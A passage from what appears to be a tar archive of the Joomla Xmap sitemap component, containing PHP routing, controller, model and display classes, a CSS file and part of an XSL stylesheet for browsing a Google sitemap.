 * @version        $Id$
 * @copyright   Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
defined( '_JEXEC' ) or die( 'Restricted access' );
/**
 * Content Component Route Helper
 *
 * @package        Xmap
 * @subpackage    com_xmap
 * @since 2.0
 */
class XmapRoute
{

    /**
     * @param    int $id            The id of the article.
     * @param    int    $categoryId    An optional category id.
     *
     * @return    string    The routed link.
     */
    public static function sitemap($id, $view = 'html')
    {
        $needles = array(
            'html' => (int) $id
        );

        //Create the link
        $link = 'index.php?option=com_xmap&view='.$view.'&id='. $id;

        if ($itemId = self::_findItemId($needles)) {
            $link .= '&Itemid='.$itemId;
        };

        return $link;
    }


    protected static function _findItemId($needles)
    {
        // Prepare the reverse lookup array.
        if (self::$lookup === null)
        {
            self::$lookup = array();

            $component    = &JComponentHelper::getComponent('com_xmap');
            $menus        = &JApplication::getMenu('site', array());
            $items        = $menus->getItems('component_id', $component->id);

            foreach ($items as &$item)
            {
                if (isset($item->query) && isset($item->query['view']))
                {
                    $view = $item->query['view'];
                    if (!isset(self::$lookup[$view])) {
                        self::$lookup[$view] = array();
                    }
                    if (isset($item->query['id'])) {
                        self::$lookup[$view][$item->query['id']] = $item->id;
                    }
                }
            }
        }

        $match = null;

        foreach ($needles as $view => $id)
        {
            if (isset(self::$lookup[$view]))
            {
                if (isset(self::$lookup[$view][$id])) {
                    return self::$lookup[$view][$id];
                }
            }
        }

        return null;
    }
}

/**
 * Build the route for the com_content component
 *
 * @param    array    An array of URL arguments
 *
 * @return    array    The URL arguments to use to assemble the subsequent URL.
 */
function XmapBuildRoute(&$query)
{
    $segments = array();

    // get a menu item based on Itemid or currently active
    $app = JFactory::getApplication();
    $menu = $app->getMenu();

    if (empty($query['Itemid'])) {
        $menuItem = $menu->getActive();
    }
    else {
        $menuItem = $menu->getItem($query['Itemid']);
    }
    $mView    = (empty($menuItem->query['view'])) ? null : $menuItem->query['view'];
    $mId      = (empty($menuItem->query['id'])) ? null : $menuItem->query['id'];

    if ( !empty($query['Itemid']) ) {
        unset($query['view']);
        unset($query['id']);
    } else {
        if ( !empty($query['view']) ) {
             $segments[] = $query['view'];
        }
    }


    if (isset($query['id']))
    {
        if (empty($query['Itemid'])) {
            $segments[] = $query['id'];
        }
        else
        {
            if (isset($menuItem->query['id']))
            {
                if ($query['id'] != $mId) {
                    $segments[] = $query['id'];
                }
            }
            else {
                $segments[] = $query['id'];
            }
        }
        unset($query['id']);
    };

    if (isset($query['layout']))
    {
        if (!empty($query['Itemid']) && isset($menuItem->query['layout']))
        {
            if ($query['layout'] == $menuItem->query['layout']) {

                unset($query['layout']);
            }
        }
        else
        {
            if ($query['layout'] == 'default') {
                unset($query['layout']);
            }
        }
    };

    return $segments;
}

/**
 * Parse the segments of a URL.
 *
 * @param    array    The segments of the URL to parse.
 *
 * @return    array    The URL attributes to be used by the application.
 */
function XmapParseRoute($segments)
{
    $vars = array();

    //G et the active menu item.
    $app  = JFactory::getApplication();
    $menu = $app->getMenu();
    $item = $menu->getActive();

    // Count route segments
    $count = count($segments);

    // Standard routing for articles.
    if (!isset($item))
    {
        $vars['view'] = $segments[0];
        $vars['id']   = $segments[$count - 1];
        return $vars;
    }

    $vars['view'] = $item->query['view'];
    $vars['id']   = $item->query['id'];

    return $vars;
}
com_xmap/helpers/xmap.php000060400000002751152453734450011504 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */


// No direct access
defined('_JEXEC') or die;

/**
 * Xmap component helper.
 *
 * @package     Xmap
 * @subpackage  com_xmap
 * @since       2.0
 */
class XmapHelper
{
    /**
     * Configure the Linkbar.
     *
     * @param    string  The name of the active view.
     */
    public static function addSubmenu($vName)
    {
        $version = new JVersion;

        if (version_compare($version->getShortVersion(), '3.0.0', '<')) {
            JSubMenuHelper::addEntry(
                JText::_('Xmap_Submenu_Sitemaps'),
                'index.php?option=com_xmap',
                $vName == 'sitemaps'
            );
            JSubMenuHelper::addEntry(
                JText::_('Xmap_Submenu_Extensions'),
                'index.php?option=com_plugins&view=plugins&filter_folder=xmap',
                $vName == 'extensions');
        } else {
            JHtmlSidebar::addEntry(
                JText::_('Xmap_Submenu_Sitemaps'),
                'index.php?option=com_xmap',
                $vName == 'sitemaps'
            );
            JHtmlSidebar::addEntry(
                JText::_('Xmap_Submenu_Extensions'),
                'index.php?option=com_plugins&view=plugins&filter_folder=xmap',
                $vName == 'extensions');
        }
    }
}
com_xmap/helpers/index.html000060400000000036152453734450012015 0ustar00<!DOCTYPE html><title></title>com_xmap/displayer.php000060400000020047152453734450011067 0ustar00<?php
/**
* @version        $Id$
* @copyright        Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
* @license        GNU General Public License version 2 or later; see LICENSE.txt
* @author        Guillermo Vargas (guille@vargas.co.cr)
*/

// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

class XmapDisplayer {

    /**
     *
     * @var int  Counter for the number of links on the sitemap
     */
    protected $count;
    /**
     *
     * @var JView
     */
    protected $jview;

    public $config;
    public $sitemap;
    /**
     *
     * @var int   Current timestamp
     */
    public $now;
    public $userLevels;
    /**
     *
     * @var string  The current value for the request var "view" (eg. html, xml)
     */
    public $view;

    public $canEdit;

    function __construct($config,$sitemap)
    {
        jimport('joomla.utilities.date');
        jimport('joomla.user.helper');
        $user = JFactory::getUser();
        $groups = array_keys(JUserHelper::getUserGroups($user->get('id')));
        $date = new JDate();

        $this->userLevels    = (array)$user->getAuthorisedViewLevels();
        // Deprecated: should use userLevels from now on
        // $this->gid = $user->gid;
        $this->now    = $date->toUnix();
        $this->config    = $config;
        $this->sitemap    = $sitemap;
        $this->isNews   = false;
        $this->isImages    = false;
        $this->count    = 0;
        $this->canEdit  = false;
    }

    public function printNode( &$node ) {
        return false;
    }

    public function printSitemap()
    {
        foreach ($this->jview->items as $menutype => &$items) {

            $node = new stdclass();

            $node->uid = "menu-".$menutype;
            $node->menutype = $menutype;
            $node->priority = null;
            $node->changefreq = null;
            // $node->priority = $menu->priority;
            // $node->changefreq = $menu->changefreq;
            $node->browserNav = 3;
            $node->type = 'separator';
            /**
             * @todo allow the user to provide the module used to display that menu, or some other
             * workaround
             */
            $node->name = $this->getMenuTitle($menutype,'mod_menu'); // Get the name of this menu

            $this->startMenu($node);
            $this->printMenuTree($node, $items);
            $this->endMenu($node);
        }
    }

    public function setJView($view)
    {
        $this->jview = $view;
    }

    public function getMenuTitle($menutype,$module='mod_menu')
    {
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();
        $title = $extra = '';

        // Filter by language
        if ($app->getLanguageFilter()) {
            $extra = ' AND language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')';
        }

        $db->setQuery(
             "SELECT * FROM #__modules WHERE module='{$module}' AND params "
            ."LIKE '%\"menutype\":\"{$menutype}\"%' AND access IN (".implode(',',$this->userLevels).") "
            ."AND published=1 AND client_id=0 "
            . $extra
            . "LIMIT 1"
        );
        $module = $db->loadObject();
        if ($module) {
            $title = $module->title;
        }
        return $title;
    }

    protected function startMenu(&$node)
    {
        return true;
    }
    protected function endMenu(&$node)
    {
        return true;
    }
    protected function printMenuTree($menu,&$items)
    {
        $this->changeLevel(1);

        $router = JSite::getRouter();

        foreach ( $items as $i => $item ) {                   // Add each menu entry to the root tree.
            $excludeExternal = false;

            $node = new stdclass;

            $node->id           = $item->id;
            $node->uid          = $item->uid;
            $node->name         = $item->title;               // displayed name of node
            // $node->parent    = $item->parent;              // id of parent node
            $node->browserNav   = $item->browserNav;          // how to open link
            $node->priority     = $item->priority;
            $node->changefreq   = $item->changefreq;
            $node->type         = $item->type;                // menuentry-type
            $node->menutype     = $menu->menutype;            // menuentry-type
            $node->home         = $item->home;                // If it's a home menu entry
            // $node->link      = isset( $item->link ) ? htmlspecialchars( $item->link ) : '';
            $node->link         = $item->link;
            $node->option       = $item->option;
            $node->modified     = @$item->modified;
            $node->secure       = $item->params->get('secure');

            // New on Xmap 2.0: send the menu params
            $node->params =& $item->params;

            if ($node->home == 1) {
                // Correct the URL for the home page.
                $node->link = JURI::base();
            }
            switch ($item->type)
            {
                case 'separator':
                    $node->browserNav=3;
                    break;
                case 'url':
                    if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
                        // If this is an internal Joomla link, ensure the Itemid is set.
                        $node->link = $node->link.'&Itemid='.$node->id;
                    } else {
                        $excludeExternal = ($this->view == 'xml');
                    }
                    break;
                case 'alias':
                    // If this is an alias use the item id stored in the parameters to make the link.
                    $node->link = 'index.php?Itemid='.$item->params->get('aliasoptions');
                    break;
                default:
                    if ($router->getMode() == JROUTER_MODE_SEF) {
                        $node->link = 'index.php?Itemid='.$node->id;
                    }
                    elseif (!$node->home) {
                        $node->link .= '&Itemid='.$node->id;
                    }
                    break;
            }

            if ($excludeExternal || $this->printNode($node)) {

                //Restore the original link
                $node->link             = $item->link;
                $this->printMenuTree($node,$item->items);
                $matches=array();
                //if ( preg_match('#^/?index.php.*option=(com_[^&]+)#',$node->link,$matches) ) {
                if ( $node->option ) {
                    if ( !empty($this->jview->extensions[$node->option]) ) {
                         $node->uid = $node->option;
                        $className = 'xmap_'.$node->option;
                        $result = call_user_func_array(array($className, 'getTree'),array(&$this,&$node,&$this->jview->extensions[$node->option]->params));
                    }
                }
                //XmapPlugins::printTree( $this, $node, $this->jview->extensions );    // Determine the menu entry's type and call it's handler
            }
        }
        $this->changeLevel(-1);
    }

    public function changeLevel($step)
    {
        return true;
    }

    public function getCount()
    {
        return $this->count;
    }

    public function &getExcludedItems() {
        static $_excluded_items;
        if (!isset($_excluded_items)) {
            $_excluded_items = array();
            $registry = new JRegistry('_default');
            $registry->loadString($this->sitemap->excluded_items);
            $_excluded_items = $registry->toArray();
        }
        return $_excluded_items;
    }

    public function isExcluded($itemid,$uid) {
        $excludedItems = $this->getExcludedItems();
        $items = NULL;
        if (!empty($excludedItems[$itemid])) {
            if (is_object($excludedItems[$itemid])) {
                $excludedItems[$itemid] = (array) $excludedItems[$itemid];
            }
            $items =& $excludedItems[$itemid];
        }
        if (!$items) {
            return false;
        }
        return ( in_array($uid, $items));
    }
}
com_xmap/controller.php000060400000007227152453734450011263 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */
// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controller');

/**
 * Component Controller
 *
 * @package     Xmap
 * @subpackage  com_xmap
 */
class XmapController extends JControllerLegacy
{

    function __construct()
    {
        parent::__construct();

        $this->registerTask('navigator-links', 'navigatorLinks');
    }

    /**
     * Display the view
     */
    public function display($cachable = false, $urlparams = false)
    {
        require_once JPATH_COMPONENT . '/helpers/xmap.php';

        // Get the document object.
        $document = JFactory::getDocument();

        // Set the default view name and format from the Request.
        $vName = JRequest::getWord('view', 'sitemaps');
        $vFormat = $document->getType();
        $lName = JRequest::getWord('layout', 'default');

        // Get and render the view.
        if ($view = $this->getView($vName, $vFormat)) {
            // Get the model for the view.
            $model = $this->getModel($vName);

            // Push the model into the view (as default).
            $view->setModel($model, true);
            $view->setLayout($lName);

            // Push document object into the view.
            $view->assignRef('document', $document);

            $view->display();

        }
    }

    function navigator()
    {
        $db = JFactory::getDBO();
        $document = JFactory::getDocument();
        $app = JFactory::getApplication('administrator');

        $id = JRequest::getInt('sitemap', 0);
        $link = urldecode(JRequest::getVar('link', ''));
        $name = JRequest::getCmd('e_name', '');
        if (!$id) {
            $id = $this->getDefaultSitemapId();
        }

        if (!$id) {
            JError::raiseWarning(500, JText::_('Xmap_Not_Sitemap_Selected'));
            return false;
        }

        $app->setUserState('com_xmap.edit.sitemap.id', $id);

        $view = $this->getView('sitemap', $document->getType());
        $model = $this->getModel('Sitemap');
        $view->setLayout('navigator');
        $view->setModel($model, true);

        // Push document object into the view.
        $view->assignRef('document', $document);

        $view->navigator();
    }

    function navigatorLinks()
    {

        $db = JFactory::getDBO();
        $document = JFactory::getDocument();
        $app = JFactory::getApplication('administrator');

        $id = JRequest::getInt('sitemap', 0);
        $link = urldecode(JRequest::getVar('link', ''));
        $name = JRequest::getCmd('e_name', '');
        if (!$id) {
            $id = $this->getDefaultSitemapId();
        }

        if (!$id) {
            JError::raiseWarning(500, JText::_('Xmap_Not_Sitemap_Selected'));
            return false;
        }

        $app->setUserState('com_xmap.edit.sitemap.id', $id);

        $view = $this->getView('sitemap', $document->getType());
        $model = $this->getModel('Sitemap');
        $view->setLayout('navigator');
        $view->setModel($model, true);

        // Push document object into the view.
        $view->assignRef('document', $document);

        $view->navigatorLinks();
    }

    private function getDefaultSitemapId()
    {
        $db = JFactory::getDBO();
        $query  = $db->getQuery(true);
        $query->select('id');
        $query->from($db->quoteName('#__xmap_sitemap'));
        $query->where('is_default=1');
        $db->setQuery($query);
        return $db->loadResult();
    }

}com_xmap/models/index.html000060400000000036152453734450011636 0ustar00<!DOCTYPE html><title></title>com_xmap/models/sitemap.php000060400000017172152453734450012025 0ustar00<?php
/**
 * @version      $Id$
 * @copyright    Copyright (C) 2005 - 2010 Open Source Matters, Inc. All rights reserved.
 * @license      GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.modeladmin');

/**
 * Sitemap model.
 *
 * @package       Xmap
 * @subpackage    com_xmap
 */
class XmapModelSitemap extends JModelAdmin
{
    protected $_context = 'com_xmap';

    /**
     * Constructor.
     *
     * @param    array An optional associative array of configuration settings.
     * @see      JController
     */
    public function __construct($config = array())
    {
        parent::__construct($config);

        $this->_item = 'sitemap';
        $this->_option = 'com_xmap';
    }

    /**
     * Method to auto-populate the model state.
     */
    protected function _populateState()
    {
        $app = JFactory::getApplication('administrator');

        // Load the User state.
        if (!($pk = (int) $app->getUserState('com_xmap.edit.sitemap.id'))) {
            $pk = (int) JRequest::getInt('id');
        }
        $this->setState('sitemap.id', $pk);

        // Load the parameters.
        $params    = JComponentHelper::getParams('com_xmap');
        $this->setState('params', $params);
    }

    /**
     * Returns a Table object, always creating it.
     *
     * @param    type                The table type to instantiate
     * @param    string              A prefix for the table class name. Optional.
     * @param    array               Configuration array for model. Optional.
     * @return   XmapTableSitemap    A database object
    */
    public function getTable($type = 'Sitemap', $prefix = 'XmapTable', $config = array())
    {
        return JTable::getInstance($type, $prefix, $config);
    }

    /**
     * Method to get a single record.
     *
     * @param    integer    The id of the primary key.
     *
     * @return   mixed      Object on success, false on failure.
     */
    public function getItem($pk = null)
    {
        // Initialise variables.
        $pk = (!empty($pk)) ? $pk : (int)$this->getState('sitemap.id');
        $false = false;

        // Get a row instance.
        $table = $this->getTable();

        // Attempt to load the row.
        $return = $table->load($pk);

        // Check for a table object error.
        if ($return === false && $table->getError()) {
            $this->setError($table->getError());
            return $false;
        }

        // Prime required properties.
        if (empty($table->id))
        {
            // Prepare data for a new record.
        }

        // Convert to the JObject before adding other data.
        $value = $table->getProperties(1);
        $value = JArrayHelper::toObject($value, 'JObject');

        // Convert the params field to an array.
        $registry = new JRegistry;
        $registry->loadString($table->attribs);
        $value->attribs = $registry->toArray();

        return $value;
    }

    /**
     * Method to get the record form.
     *
     * @param    array      $data        Data for the form.
     * @param    boolean    $loadData    True if the form is to load its own data (default case), false if not.
     * @return   mixed                   A JForm object on success, false on failure
     * @since    2.0
     */
    public function getForm($data = array(), $loadData = true)
    {
        // Get the form.
        $form = $this->loadForm('com_xmap.sitemap', 'sitemap', array('control' => 'jform', 'load_data' => $loadData));
        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return    mixed    The data for the form.
     * @since    1.6
     */
    protected function loadFormData()
    {
        // Check the session for previously entered form data.
        $data = JFactory::getApplication()->getUserState('com_xmap.edit.sitemap.data', array());

        if (empty($data)) {
            $data = $this->getItem();
        }

        return $data;
    }


    /**
     * Method to save the form data.
     *
     * @param    array    The form data.
     * @return    boolean    True on success.
     * @since    1.6
     */
    public function save($data)
    {
        // Initialise variables;
        $dispatcher = JDispatcher::getInstance();
        $table      = $this->getTable();
        $pk         = (!empty($data['id'])) ? $data['id'] : (int)$this->getState('sitemap.id');
        $isNew      = true;

        // Load the row if saving an existing record.
        if ($pk > 0) {
            $table->load($pk);
            $isNew = false;
        }

        // Bind the data.
        if (!$table->bind($data)) {
            $this->setError(JText::sprintf('JERROR_TABLE_BIND_FAILED', $table->getError()));
            return false;
        }

        // Prepare the row for saving
        $this->_prepareTable($table);

        // Check the data.
        if (!$table->check()) {
            $this->setError($table->getError());
            return false;
        }

        if (!$table->is_default) {
            // Check if there is no default sitemap. Then, set it as default if not
            $result = $this->getDefaultSitemapId();
            if (!$result) {
                $table->is_default=1;
            }
        }

        // Store the data.
        if (!$table->store()) {
            $this->setError($table->getError());
            return false;
        }

        if ($table->is_default) {
            $query =  $this->_db->getQuery(true)
                           ->update($this->_db->quoteName('#__xmap_sitemap'))
                           ->set($this->_db->quoteName('is_default').' = 0')
                           ->where($this->_db->quoteName('id').' <> '.$table->id);

            $this->_db->setQuery($query);
            if (!$this->_db->query()) {
                $this->setError($table->_db->getErrorMsg());
                return false;
            }
        }

        // Clean the cache.
        $cache = JFactory::getCache('com_xmap');
        $cache->clean();

        $this->setState('sitemap.id', $table->id);

        return true;
    }

    /**
     * Prepare and sanitise the table prior to saving.
     */
    protected function _prepareTable(&$table)
    {
        // TODO.
    }

    function _orderConditions($table = null)
    {
        $condition = array();
        return $condition;
    }

    function setDefault($id)
    {
        $table = $this->getTable();
        if ($table->load($id)) {
            $db = JFactory::getDbo();
            $query = $db->getQuery(true)
                        ->update($db->quoteName('#__xmap_sitemap'))
                        ->set($db->quoteName('is_default').' = 0')
                        ->where($db->quoteName('id').' <> '.$table->id);
            $this->_db->setQuery($query);
            if (!$this->_db->query()) {
                $this->setError($table->_db->getErrorMsg());
                return false;
            }
            $table->is_default = 1;
            $table->store();

            // Clean the cache.
            $cache = JFactory::getCache('com_xmap');
            $cache->clean();
            return true;
        }
    }

    /**
     * Override to avoid warnings
     *
     */
    public function checkout($pk = null)
    {
        return true;
    }

    private function getDefaultSitemapId()
    {
        $db = JFactory::getDBO();
        $query  = $db->getQuery(true);
        $query->select('id');
        $query->from($db->quoteName('#__xmap_sitemap'));
        $query->where('is_default=1');
        $db->setQuery($query);
        return $db->loadResult();
    }
}com_xmap/assets/index.html000060400000000036152453734450011655 0ustar00<!DOCTYPE html><title></title>com_xmap/assets/css/index.html000060400000000036152453734450012445 0ustar00<!DOCTYPE html><title></title>com_xmap/assets/css/xmap.css000060400000001104152453734450012124 0ustar00/* list-style: pos1 pos2 po3;
 * parameter:
 * pos1: none | disc | circle | square
 * pos2: inside | outside
 * pos3: none | url('arrow.gif')
 * more info under: http://www.w3schools.com/css/css_list.asp
 */

#xmap ul {
    display : block;
    list-style : none;
    margin : 0;
    padding : 0;
}
#xmap ul li {
    margin : 0;
    padding : 0;
    background : transparent;
}
#xmap a img {
    border : none;
}
#xmap ul.level_0 ul {
    list-style : inside square;
    padding : 0;
}
#xmap ul.level_1 li {
    padding : 0 1em 0 1em;
}
#xmap .active {
    font-style : italic;
}
com_xmap/assets/xsl/index.html000060400000000036152453734450012463 0ustar00<!DOCTYPE html><title></title>com_xmap/assets/xsl/gssadmin.xsl000060400000031565152453734450013036 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" exclude-result-prefixes="xna">
<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html>
<head>
<title>Google Sitemap File</title>
<script src="media/system/js/mootools.js" type="text/javascript"></script>
<style type="text/css">
    <![CDATA[
    <!--
    h1 { 
        font-weight:bold;
        font-size:1.5em;
        margin-bottom:0;
        margin-top:1px;
    }
    h2 { 
        font-weight:bold;
        font-size:1.2em;
        margin-bottom:0; 
        color:#707070;
        margin-top:1px; }
    p.sml { 
        font-size:0.8em;
        margin-top:0;
    }
    .sortup {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortup.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    .sortdown {
        background-position: right center;
        background-image: url(http://www.google.com/webmasters/sitemaps/images/sortdown.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    table.copyright {
        width:100%;
        border-top:1px solid #ddad08;
        margin-top:1em;
        text-align:center;
        padding-top:1em;
        vertical-align:top;
    }
    table.data {
        font-size: 12px;
        width: 100%;
        border: 1px solid #000000;
    }
    table.data tr.header td{
        background-color: #CCCCCC;
        color: #FFFFFF;
        font-weight: bold;
        font-size: 14px;
    }
    .divoptions{
        background:#fff;
        border:1px solid #ccc;
        position:absolute;
        padding:5px;
    }
    .divoptions table{
        width:100%;
    }
    .divoptions table td {
        padding:0px;
        border: 1px solid #ffffff;
        border-bottom:1px solid #ccc;
        font-size: 12px;
    }
    .divoptions table td:hover {
        border: 1px solid blue;
    }
    .divoptions table td a {
        text-decoration:none;
        display:block;
        width:100%;
    }
    .editable {
        cursor:pointer;
        background: url(components/com_xmap/images/arrow.gif) top right no-repeat;
        padding-right:18px;
        padding-right:18px;
        border:1px solid #ffffff;
    }
    .editable:hover {
        border-color:#cccccc;
    }
    -->
    ]]>
</style>
<script language="JavaScript">
    <![CDATA[
    var selectedColor = "blue";
    var defaultColor = "black";
    var hdrRows = 1;
    var numeric = '..';
    var desc = '..';
    var html = '..';
    var freq = '..';

    function initXsl(tabName,fileType) {
        hdrRows = 1;
      
        if(fileType=="sitemap") {
            numeric = ".3.";
            desc = ".1.";
            html = ".0.";
            freq = ".2.";
            initTable(tabName);
            setSort(tabName, 3, 1);
        }
        else {
            desc = ".1.";
            html = ".0.";
            initTable(tabName);
            setSort(tabName, 1, 1);
        }
      
        var theURL = document.getElementById("head1");
        theURL.innerHTML += ' ' + location;
        document.title += ': ' + location;
    }

    function initTable(tabName) {
        var theTab = document.getElementById(tabName);
        for(r=0;r<hdrRows;r++)
            for(c=0;c<theTab.rows[r].cells.length;c++)
                if((r+theTab.rows[r].cells[c].rowSpan)>hdrRows)
                    hdrRows=r+theTab.rows[r].cells[c].rowSpan;
        for(r=0;r<hdrRows; r++){
            colNum = 0;
            for(c=0;c<theTab.rows[r].cells.length;c++, colNum++){
                if(theTab.rows[r].cells[c].colSpan<2){
                    theCell = theTab.rows[r].cells[c];
                    rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;/g,'');
                    if(rTitle>""){
                        theCell.title = "Change sort order for " + rTitle;
                        theCell.onmouseover = function(){setCursor(this, "selected")};
                        theCell.onmouseout = function(){setCursor(this, "default")};
                        var sortParams = 15; // bitmapped: numeric|desc|html|freq
                        if(numeric.indexOf("."+colNum+".")>-1) sortParams -= 1;
                        if(desc.indexOf("."+colNum+".")>-1) sortParams -= 2;
                        if(html.indexOf("."+colNum+".")>-1) sortParams -= 4;
                        if(freq.indexOf("."+colNum+".")>-1) sortParams -= 8;
                        theCell.onclick = new Function("sortTable(this,"+(colNum+r)+","+hdrRows+","+sortParams+")");
                    }
                } else {
                    colNum = colNum+theTab.rows[r].cells[c].colSpan-1;
                }
            }
        }
    }

    function setSort(tabName, colNum, sortDir) {
        var theTab = document.getElementById(tabName);
        theTab.rows[0].sCol = colNum;
        theTab.rows[0].sDir = sortDir;
        if (sortDir) 
            theTab.rows[0].cells[colNum].className='sortdown'
        else
            theTab.rows[0].cells[colNum].className='sortup';
    }

    function setCursor(theCell, mode){
        rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;|\W/g,'');
        if(mode=="selected"){
            if(theCell.style.color!=selectedColor) 
                defaultColor = theCell.style.color;
            theCell.style.color = selectedColor;
            theCell.style.cursor = "pointer";
            window.status = "Click to sort by '"+rTitle+"'";
        } else {
            theCell.style.color = defaultColor;
            theCell.style.cursor = "";
            window.status = "";
        }
    }

    function sortTable(theCell, colNum, hdrRows, sortParams){
        var typnum = !(sortParams & 1);
        sDir = !(sortParams & 2);
        var typhtml = !(sortParams & 4);
        var typfreq = !(sortParams & 8);
        var tBody = theCell.parentNode;
        while(tBody.nodeName!="TBODY"){
            tBody = tBody.parentNode;
        }
        var tabOrd = new Array();
        if(tBody.rows[0].sCol==colNum) sDir = !tBody.rows[0].sDir;
        if (tBody.rows[0].sCol>=0)
            tBody.rows[0].cells[tBody.rows[0].sCol].className='';
        tBody.rows[0].sCol = colNum;
        tBody.rows[0].sDir = sDir;
        if (sDir) 
            tBody.rows[0].cells[colNum].className='sortdown'
        else 
            tBody.rows[0].cells[colNum].className='sortup';
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            colCont = tBody.rows[r].cells[colNum].innerHTML;
            if(typhtml) colCont = colCont.replace(/<[^>]+>/g,'');
            if(typnum) {
                colCont*=1;
                if(isNaN(colCont)) colCont = 0;
            }
            if(typfreq) {
                switch(colCont.toLowerCase()) {
                    case "always":  { colCont=0; break; }
                    case "hourly":  { colCont=1; break; }
                    case "daily":   { colCont=2; break; }
                    case "weekly":  { colCont=3; break; }
                    case "monthly": { colCont=4; break; }
                    case "yearly":  { colCont=5; break; }
                    case "never":   { colCont=6; break; }
                }
            }
            tabOrd[i] = [r, tBody.rows[r], colCont];
        }
        tabOrd.sort(compRows);
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            tBody.insertBefore(tabOrd[i][1],tBody.rows[r]);
        } 
        window.status = ""; 
    }

    function compRows(a, b){
        if(sDir){
            if(a[2]>b[2]) return -1;
            if(a[2]<b[2]) return 1;
        } else {
            if(a[2]>b[2]) return 1;
            if(a[2]<b[2]) return -1;
        }
        return 0;
    }

    var divOptions=null;

    function showOptions (cell,options,uid,itemid,e) {
        // var div = document.getElementById('div'+options);
        var div = $('div'+options);
        pos = div.getPosition();
        if ( divOptions != null && div != divOptions ) {
            closeOptions();
        }
        var myCell = $(cell);
        div.style.top = (myCell.getTop()+20)+'px';
        div.style.left = myCell.getLeft()+'px';
        var dimensions = myCell.getSize();
        div.style.width=dimensions.size.x+'px';
        div.style.display='';
        div.uid=uid;
        div.itemid=itemid;
        div.cell=myCell;
        divOptions=div;
    }

    function closeOptions() {
        divOptions.style.display='none';
        divOptions=null;
    }

    function changeProperty(el,property) {
        var myAjax = new Ajax('index.php?option=com_xmap&tmpl=component&task=editElement&action=changeProperty&sitemap='+sitemapid+'&uid='+divOptions.uid+'&itemid='+divOptions.itemid+'&property='+property+'&value='+el.innerHTML,{
            onComplete: checkChangeResult.bind(divOptions)
        }).request();
        divOptions.cell.innerHTML=el.innerHTML;
        divOptions.style.display='none';
        return false;
    }

    function checkChangeResult(result,xmlResponse) {
    }

    function getURLparam( name ) {
        name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
        var regexS = "[\\?&]"+name+"=([^&#]*)";
        var regex = new RegExp( regexS );
        var results = regex.exec( window.location.href );
        if( results == null )
            return "";
        else
            return results[1];
    }

    var sitemapid=getURLparam('sitemap');

    ]]>
</script>
</head>
<body onLoad="initXsl('table0','sitemap');">
    <h1 id="head1">Site Map</h1>
    <h2>Number of URLs in this Sitemap: <xsl:value-of select="count(xna:urlset/xna:url)"></xsl:value-of></h2>
    <table id="table0" class="data">
        <tr class="header">
            <td>Sitemap URL</td>
            <td>Last modification date</td>
            <td>Change freq.</td>
            <td>Priority</td>
        </tr>
        <xsl:for-each select="xna:urlset/xna:url">
        <xsl:variable name="UID"><xsl:value-of select="xna:uid"/></xsl:variable>
        <xsl:variable name="ItemID"><xsl:value-of select="xna:itemid"/></xsl:variable>
        <tr>
            <td>
                <xsl:variable name="sitemapURL"><xsl:value-of select="xna:loc"/></xsl:variable>
                <a href="{$sitemapURL}" target="_blank" ref="nofollow"><xsl:value-of select="$sitemapURL"></xsl:value-of></a>
            </td>
            <td><xsl:value-of select="xna:lastmod"/></td>
            <td class="editable" onClick="showOptions(this,'changefreq','{$UID}','{$ItemID}',event);" ><xsl:value-of select="xna:changefreq"/></td>
            <td class="editable" onClick="showOptions(this,'priority','{$UID}','{$ItemID}',event);"><xsl:value-of select="xna:priority"/></td>
        </tr>
        </xsl:for-each>
    </table>
    <div id="divchangefreq" class="divoptions" style="display:none;">
        <div align="right"><a href="javascript:closeOptions();">x</a></div>
        <table>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">always</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">hourly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">daily</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">weekly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">monthly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">yearly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">never</a></td></tr>
        </table>
    </div>
    <div id="divpriority" class="divoptions" style="display:none;">
        <div align="right"><a href="#" onClick="return closeOptions();">x</a></div>
        <table>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.1</a></td></tr>
